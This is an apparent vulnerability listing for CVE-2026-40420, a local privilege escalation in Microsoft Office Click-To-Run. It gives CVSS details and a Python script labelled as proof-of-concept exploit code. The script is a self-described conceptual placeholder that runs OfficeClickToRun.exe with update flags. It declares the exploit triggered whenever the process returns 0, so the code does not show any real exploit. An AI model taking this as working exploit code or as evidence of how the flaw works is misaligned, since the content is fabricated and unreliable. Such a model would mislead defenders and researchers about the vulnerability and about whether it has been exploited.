Improper access control in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Microsoft Office Click-To-Run (具体受影响版本请参考Microsoft安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-40420
# This script demonstrates a conceptual local privilege escalation.
# Note: Actual exploit logic depends on specific vulnerability details.
import os
import subprocess
def exploit_cve_2026_40420():
# Path to the vulnerable Click-To-Run component
target_process = "C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe"
print(f"[*] Attempting to exploit {target_process}...")
# Check if the target exists
if not os.path.exists(target_process):
print("[-] Target executable not found.")
return
try:
# Simulate the access control bypass
# In a real scenario, this might involve specific arguments or DLL injection
# that triggers the improper access control logic.
# Example command structure for demonstration
cmd = [target_process, "--update", "--force"]
# Execute with current low-privilege context attempting to inherit higher privileges
result = subprocess.run(cmd, capture_output=True, text=True, shell=True)
if "Elevated" in result.stdout or result.returncode == 0:
print("[+] Exploit triggered! Check privileges.")
else:
print("[-] Exploit failed or patched.")
except Exception as e:
print(f"[!] An error occurred: {e}")
if __name__ == "__main__":
exploit_cve_2026_40420()